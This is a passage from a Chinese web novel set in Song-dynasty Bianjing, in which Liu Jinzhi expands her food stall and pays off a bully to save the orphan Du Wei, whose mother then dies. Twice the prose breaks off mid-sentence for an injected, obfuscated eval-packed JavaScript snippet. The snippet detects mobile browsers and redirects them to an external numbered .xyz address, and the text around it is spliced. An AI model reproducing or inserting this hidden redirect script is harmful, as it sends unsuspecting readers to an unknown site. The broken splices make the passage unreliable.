只是家中情况却比以往不同,门口挂着两个红纸大灯笼,门外大大小小停了许多辆驴车,车上驮着十来只书箱,又有桌椅板凳等,皆用手腕一般粗细的麻绳绑的结结实实,还有几个脚夫正在柳家旧宅门首进进出出,搬运各类物什。 柳金枝讶异,耳边倒传来应天爵高兴的声音:“嗨呀,柳妹子,你可算是回来了!” 应天爵三两步从门首里头走出来,对着柳金枝叉手一拜,又打量着她好端端的,无甚损伤,才松了口气道: “你半日不回,我可为你捏了好一把汗。如今见你无恙,那这场官司必然是你胜了,恭喜恭喜啊。” 柳金枝福身还礼,笑道:“也是多亏应大哥的帮忙,小妹答应你的,明日就送到门上去。” “嗐,那我可就不跟你客气了。” 能有银子拿,应天爵也是喜的眉开眼笑。 赶忙虚扶了柳金枝一把,又指着门口驴车邀功,道:“妹子你瞧,此前我答应你,尽快为轩哥儿寻处宅子搬出去。正巧昨日就寻到了,宅面干净,就在崇明外人街,不远就是国子监。” 这对柳金枝来说简直是个大好消息! 宅子空下来,不仅可以让柳霄和月牙住的更舒心,她也不用再忧心一次性买来太多的菜蔬,却不知该放何处的难题了。 忙不迭的道谢,笑道:“当真是应大哥费心了。” 应天爵倒摆摆手,道:“嗐,我也只是做些跑腿活计。轩哥儿有位同窗好友,家中甚是阔绰,听闻他要搬家,早把那些琐碎杂事一应全包了,我现下不过动动嘴皮子。” 柳金枝也才想起来,项志轩和他那位好友是预付了定金买朝食的,现下他们搬走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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项志轩忍不住笑话道:“怪行货子,只花银子倒显得没诚意,你怎得不直接喊声师父?兴许柳娘子就收了你。” “当真可以吗?”潘安玉眼前一亮,连忙就要拜,“师父!” 吓得众人赶紧伸手去扶,见潘安玉一脸疑惑不解,却是憨傻的有些可爱,又忍不住笑作一团。 柳金枝笑道:“人家是个实心眼,我可不和你们一起闹人家。” 言罢,就拉着柳霄进了家门,应天爵和项志轩还是笼着潘安玉说话,你一声好哥哥,我一声好弟弟的赔罪。 不多时,有个眉眼俊朗锋利的青年,外披玄色大氅,骑着高头大马进了采莲胡同,身后还跟着三五仆从,颇大阵仗。 见了来人,应天爵与项志轩都是一凛,赶忙收了调笑神色,与青年叉手一拜。 青年也不下马,居高临下地对二人冷漠颔首,就算是见过礼了。 潘安玉则跑过去,甜声唤道:“大哥!” 青年这才有些和暖脸色,垂眸道:“整日里在外头疯跑着玩儿,净寻些偏僻地方给我找麻烦。” 说着挂起马鞭,不轻不重地敲了潘安玉两下,又转手拉他上马。 潘安玉本是要拉项志轩与自己一同,但见项志轩悄悄摇了摇头,就闭口不言,随着青年骑马走了。 但他还是惦记着要向柳金枝学做菜,就对青年道: “大哥,我上次与你说的,做膳食特别好吃的柳家姐姐就住在这儿。听说她在御街支了个食摊子,咱有空就去看看,怎样?” 潘琅寰目不斜视,冷声道:“春闱没过之前,你哪儿也不准去,就给我待在家里用心温书。” 潘安玉顿时如同霜打的茄子,委屈的要哭出来,抽噎着说: “我自小就不是读书的料,四书五经念了七八年了都没念明白。可你和母亲就是要逼我去念书!但我就是爱做菜!我不想当官,我想当膳工!” 潘琅寰皱眉,呵斥道:“闭嘴!我潘家的儿郎若去了膳房里头钻营,那像什么样子?!” 潘安玉委屈,道:“那又怎得啦?谁离得开膳工?便是大哥你遇见个好的膳工,照样是赞不绝口!我早上还听下人们说,你夸从御街买回来的那碗馄饨好吃,让他们今后接着给你买作朝食,还说一两的赏钱给少了,下次要多给些呢!” 潘琅寰哽了一下,没好气道:“读书不多,顶嘴倒快!旁的我不与你多说,我已请了蒋太医来与母亲瞧病,她现下好多了,等下你到了她跟前卖些乖。若还不三不四恼了母亲生气,我拿马鞭抽死你!” “呜呜呜,知道了。” 17. 招洗碗工 前一天定好的桌椅板凳,第二天午时就送到了御街摊位上。 柳金枝和柳霄把桌椅卸下来摆放齐整,月牙拿抹布仔细地擦了一遍,直把桌椅连同整个摊位擦的干干净净才罢手。 “好啦,月牙,这些事情以后就不用你做了。”柳金枝把月牙抱到一边,拆开油膏细心给她抹上,“小手冻坏了,以后每到冬天都会有冻疮的。” 月牙道:“可是阿姐和哥哥都很忙,我不做,谁洗碗呢?” “阿姐已经决定招工了。” 柳霄拿着一张红纸走过来,吹干净上面的墨渍,展给两个人看。 红纸上写的是“招洗碗工”,下头还有具体的要求。 比如不限男女,但要年满十五,手脚利落勤快。 但因为食摊刚起步,招工也是心疼月牙,所以出不起多高的薪资,一天只能给五十文,一个月就是一千五百文。 为了弥补这点不足,柳霄在征得柳金枝同意之后,又添了条“包吃包住”的条款。 然后一家三口用米浆刷在红纸后背,将之贴在了摊位旁边。 “希望今天能有人应征。”柳金枝清点着摊位上的菜蔬,“晚上就要做夜市了。” 月牙想了想,拉过柳霄道:“哥哥,你还记得杜哥哥吗?” 柳霄一点即通,低头说:“你想叫他来?” “嗯,只是不知道杜哥哥还住不住在老地方。”月牙小小声地说道。 “什么杜哥哥啊?” 柳金枝在送菜单上打了勾,走过来摸摸两个人的头。 “是一个人很好的哥哥,在我和哥哥吃不饱饭的时候,是他给了我们一个炊饼。” 月牙抱住柳金枝的小腿,仰着小脸道:“阿姐,我们去找杜哥哥好不好?” 柳金枝算了一下时间,反正现在还早,不着急做夜市,不如去看看。 一家三口便坐了驴车朝居养院去了。 宋朝时候,各种福利设施都比较完善。 就比如北宋时期,政府设有福田院,专门收容老弱孤幼乞丐,提供基本食宿。 不仅如此,宋徽宗时期还规定每年十月初一至次年三月,都对乞丐进行赈济,每人每日发放米豆一升,小儿减半。 另外还有居养院,为无依无靠的贫民提供长期住所。 安济坊则负责医疗救助,避免一些贫困百姓受伤之后无钱就医而白送性命。 柳霄和月牙所提到的那个杜哥哥,已经年过十五,在宋朝来说已不算是孩童,现下大概率住在居养院。 其实哪怕是现代的一些福利机构,在长期营业之下都会出现某些恶劣现象,更遑论是在缺少监管力度的古代。 所以哪怕宋徽宗提出建立居养院时是出于好心,柳金枝也不敢把居养院想的太好。 饶是如此,当柳金枝亲眼见到居养院的时候,还为这里头环境之恶劣而感到震惊。 这处居养院坐落在一条狭窄的小巷子里,巷外栽种着一颗枯萎的柳树,树下蹲着个瘦骨嶙峋的老人,面前架着个破旧药罐,哆哆嗦嗦地从怀里摸出半包药渣,小心翼翼倒进了药罐里。 再往里走,就是居养院的大门,门上挂着门匾。 因为门没有关,所以一眼可见院内情景。 里头搭着二三十根晾衣架,一群披头散发,衣着破败,面容枯槁的妇人正弯腰晾晒衣服。 廊下蜷缩着一个老人,大冷的天,却将手与脚都露在外面,皮肤冻得发黑,又不晓得收回去,只用一双浑浊的眼睛盯着雪地发呆。 管院子的嬷嬷走来走去,却熟视无睹。 柳金枝不由皱起了眉头,心里发酸,可她自己也是泥菩萨过河,救不了太多,只能从茄袋里翻出几十文交给柳霄,道: “去给那位阿爷买双合脚的鞋子,再买双干净袜子。” 柳霄面色复杂地应了下来。 月牙接着带柳金枝往深处走去。 拐过几个角,进了后院。 这里更是一派萧瑟凄凉,杂草丛生,遍地白雪。 只是柳金枝耳边传来几声喝骂,还有高昂的鹅叫,隐隐有些嘈杂。 待走近一瞧,才发现院子的最里头居然围着一群人。 一个胖男人手里拿着刀,怒骂道:“挨千刀的小贼孙,连爷爷我的鹅你也敢偷?!” 旁边站着个灰布衣服的嬷嬷,狠狠一藤条抽在一个清秀少年身上,冷声道:“你犯了偷窃,按照居养院里的规矩,从明天开始,你和那病歪歪的娘都从这儿搬走!” 跪在人群中心的少年本是挨打挨骂都不做声,可一听见这话,却倏然一下把抬起头来,两眼发红:“我娘不能搬!她病的快要死了,再挪动两下,人就没了!” “谁让你偷东西?!” “我也不想偷!”少年情绪激动,却又悲伤至极,“可我没钱,我娘又快死了,她就想吃口糟鹅……就一口……” 可话没说完,就挨了男人一个重重的耳刮子。 “呸!你娘想吃什么干老子屁事?她就是死了,也是活该命贱!我只跟你算算鹅的账!” 男人指着笼子里的鹅说:“我家的鹅,那毛是长得最好的。油光水滑,可以当褙子。但你瞧瞧,毛都快被你拔禿咯!你再怎么都得原价赔我四钱银子!” 四钱! 柳金枝霎时间瞪大了眼睛。 那就是四百文! 一只鹅,四百文? 这分明就是在欺负人! 可是男人就是仗着少年无依无靠,一巴掌揪起他的衣领,道:“你要是不赔,今天就跟我走。不拘我是把你卖进高门大院,还是瓦子乐场,都不许有半句屁话!” 清秀少年涕泗横流,拳打脚踢想要挣脱,却还是被这男人拖走了。 柳金枝几步上前把两人拦住,眉心拧成了个大疙瘩,道:“站住!他娘还在屋里头,你现在把人拖走,岂不是连最后一面也不让人见?” 男人轻蔑地瞥了柳金枝一眼,嗤笑道:“哪儿来的雌儿?也来管爷爷的闲事。你想要发慈悲,就拿四钱来把这鹅买下,否则就滚蛋!” 柳金枝见这人打定主意要坑银子,心中不由腾起一片怒意。 她也只有四千贯,也就是四千文,定桌椅,买菜蔬等等已经用了不少,否则她也不会因为一辆七八钱的镂鍮装花盘架车,就肉疼的选择放弃不买。 但那是车,以后还有的买。 这是人,这回不出手,可就没有下一次了。 柳金枝心中天人交战,最后还是同情心占了上风。 她从茄袋里翻出四钱银子抬手扔过去,眉眼冷肃,道:“我替他给了,你把人放了!” 男人倒是没想到柳金枝居然舍得,看看少年,又看看钱,也就放了手,拍拍身上灰尘大摇大摆走了。 清秀少年泪流满面,膝行过来给柳金枝磕头,却被柳霄扶了起来。 柳霄语气复杂,道:“杜哥哥,是我啊,我是霄哥儿,这是我阿姐。” 原来这清秀少年就是他们要找的人,姓杜,唤作杜卫。 杜卫哭道:“好兄弟,哥哥在这里谢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15461912|169610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过你,这四钱银子我定然还给你阿姐。” 柳金枝叹了口气,把鹅笼提起来交给他,道:“去看看你母亲吧。” 杜卫用袖子抹干净眼泪,又给了柳金枝嗑了好几个响头,才站起来接过鹅笼往房里走。 望着杜卫的背影,柳霄抿了抿唇,面色复杂道:“阿姐,这银子……” “罢了。”柳金枝知道这银子杜卫肯定还不起,摆了摆手,“好歹当年你和月牙落难的时候,他曾给过你们一个炊饼,现在就当是报恩。” 柳霄道:“报恩也当是我来报,这钱我会还给阿姐的。” 月牙在旁边看了一场,也很为杜卫感到酸楚,便也道:“我也会还给阿姐的。” 柳金枝摸摸他俩柔软的发丝,打算拉着二人回家,可房内忽然响起碗被砸碎的声音,紧接着就是扑通一声,杜卫悲痛欲绝的哭声响彻整座居养院: “娘——!” 一家三口冲进去一看。 鹅还在笼子里活蹦乱跳地扑腾,床榻上的干瘦蜡黄的妇人却已经仰面阖眼,彻底失去了气息。 月牙啊的叫了一声,忍不住回头抱着柳金枝,不敢看床上的死人。 柳金枝也没想到最后居然是这么个结局,她怔愣了一下,不由得心中悲恸。 “霄哥儿,去请两个火计来。”她蹲下来捂住月牙的眼睛,将人轻轻搂进怀里,“先帮忙把杜伯母拉到漏泽园葬了。” 时也命也,这最后一口糟鹅,她到底没能吃上。 火化、念经、下葬,穷人家有穷人家的死法。 不过两个时辰,妇人就成了漏泽园里的一座孤坟。 杜卫跪在坟前,黄纸灰烬被夜里寒风卷起来,迸溅出的火星照亮他恍惚的面色,泪痕干枯,唇色苍白。 他声音沙哑地说:“柳姐姐,好兄弟,月牙妹妹,多谢你们好心。这鹅你们拿回去吧,我娘已经死了,这鹅没用了……” 柳金枝望着他,眸色复杂。 若她当初迟一些回汴京,又或者没能力带弟妹一起开食摊。 现在如此凄惨的,可能就是柳霄和月牙了。 “斯人已逝,但活人还要好好的活。” 柳金枝说到此处,抿了抿唇。 说她不自量力也好,说她圣母心大发作也好。 她无法对这般惨象视而不见。 “其实我们今天来找你,就是想问你要不要来我家食摊帮忙。给你酬金一日四十文,包吃包住。” 柳金枝在原有的酬金基础上提了十文。 这是她能给出来的极限。 杜卫没说话。 月牙道:“杜哥哥,当年我和哥哥被舅舅扫地出门。大雪天里,饿的实在走不动了,缩在路边等死。是你把身上最后一个炊饼给了我们,我们才能活到现在。你跟我们走吧,给我们一个报答你的机会。” 可是杜卫还是跪在哪儿,背影瘦削又萧瑟。 柳金枝拉拉月牙的手,道:“好了,让杜哥哥一个人想一想吧。”又说,“如果你改变主意,就到御街太常寺对面的柳氏食摊找我们,我们随时欢迎。” 尔后左右牵起月牙和柳霄转身离开了。 汴京城的繁华不因任何一人的悲欢离合、喜怒哀乐而停止。 夜幕降临,华灯初上。 汴京城热闹的夜市生活照旧开始了,她也要去继续自己的生意。 也许现在多努力一点,多攒一些傍身之物,将来在这繁华大城之中经历悲痛与伤悲的,就不会是她,或是她的霄哥儿和月牙。